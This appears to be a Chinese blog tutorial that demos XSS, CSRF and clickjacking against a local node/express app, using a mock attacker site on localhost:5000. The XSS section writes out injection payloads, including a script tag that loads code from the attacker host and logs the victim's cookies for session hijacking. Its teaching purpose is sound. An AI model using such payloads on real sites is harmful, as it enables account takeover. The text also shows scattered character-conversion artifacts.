介紹: 身為一個(gè)不怎么接觸后臺(tái)的前端,一直想知道web安全究竟是怎么攻擊的以及做了哪些處理,什么htttp響應(yīng)頭設(shè)置總是一臉懵。最近在學(xué)習(xí)node,就順便寫了web安全攻擊的示例以及解決方案。參考了一些資料,自己理了一下思路,代碼不是很完善,也是在摸索階段,請(qǐng)見諒。希望對(duì)那些對(duì)于安全不是很了解,后臺(tái)知識(shí)不清楚的同學(xué)有所幫助。
(解決方案看上一篇文章,這里主要演示一下攻擊原理https://juejin.cn/post/6951571103953190925)
代碼:git@github.com:StyLanQP/web-Safe.git
github地址:https://github.com/StyLanQP/web-Safe
項(xiàng)目代碼如下:
app: 正常的網(wǎng)站
hack:模擬黑客攻擊的網(wǎng)站
使用技術(shù): node+express+react+mysql
一、XSS(Cross-Site Scripting) 跨站腳本攻擊
原理:惡意攻擊者往 Web 頁(yè)面里插入惡意可執(zhí)行網(wǎng)頁(yè)腳本代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中 Web 里面的腳本代碼會(huì)被執(zhí)行,從而可以達(dá)到攻擊者盜取用戶信息或其他侵犯用戶安全隱私的目的。
1.代碼目錄
2. 建立數(shù)據(jù)庫(kù)
node app/mysql.js 先執(zhí)行這個(gè)文件創(chuàng)建表和數(shù)據(jù)
如圖所示
3.這時(shí)候運(yùn)行項(xiàng)目npm run start 打開home頁(yè)面

這個(gè)時(shí)候home頁(yè)面是用react模板寫的,React DOM 會(huì)在渲染的時(shí)候把內(nèi)容(字符串)進(jìn)行轉(zhuǎn)義,所以字符串形式的標(biāo)簽是不會(huì)作為 HTML 標(biāo)簽進(jìn)行處理的,所以輸入script是不能執(zhí)行的
所以加了一個(gè)利用ejs模板加載的頁(yè)面xss.html(無(wú)論是從url上輸入script標(biāo)簽例如http://localhost:4000/xss?text=<script>alert(2)</script>還是直接獲取數(shù)據(jù)庫(kù)存儲(chǔ)的代碼都會(huì)被執(zhí)行)
4.開始利用document.cookie攻擊,按照剛才的方式把<script>alert(1)</script>改成<script src="http://localhost:5000/xss.html"></script>進(jìn)行攻擊
打開http://localhost:4000/xss會(huì)看到請(qǐng)求了http://localhost:5000/xss.html的接口
在控制臺(tái)可以看到5000端口的黑客網(wǎng)站已經(jīng)打印出來(lái)了cookie,利用cookie我們完全可以在控制臺(tái)設(shè)置cookie直接登錄網(wǎng)站
二、CSRF 跨站點(diǎn)偽造
原理: 誘導(dǎo)用戶打開黑客的網(wǎng)站,在黑客的網(wǎng)站中,利用用戶登錄狀態(tài)發(fā)起跨站點(diǎn)請(qǐng)求。
1.在登錄狀態(tài)下,打開localhost:5000/csrf.html頁(yè)面,在控制臺(tái)上我們看到了setDataList的請(qǐng)求,這個(gè)就是提交內(nèi)容的接口,在4000的home頁(yè)面可以看到內(nèi)容改變了
正常網(wǎng)站內(nèi)容被更改
解決方案(生成token, 接口帶上nonce和timesTamp)
三、點(diǎn)擊劫持
原理:用戶在登陸 A 網(wǎng)站的系統(tǒng)后,被攻擊者誘惑打開第三方網(wǎng)站,而第三方網(wǎng)站通過(guò) iframe 引入了 A 網(wǎng)站的頁(yè)面內(nèi)容,用戶在第三方網(wǎng)站中點(diǎn)擊某個(gè)按鈕(被裝飾的按鈕),實(shí)際上是點(diǎn)擊了 A 網(wǎng)站的按鈕。
- 打開http://localhost:5000/clickHijack.html點(diǎn)擊按鈕,實(shí)際上是點(diǎn)擊了http://localhost:4000/home的關(guān)注按鈕,因?yàn)閕frame嵌入了4000的頁(yè)面,因?yàn)?000
30.jpeg
解決方案,對(duì)iframe嵌入做限制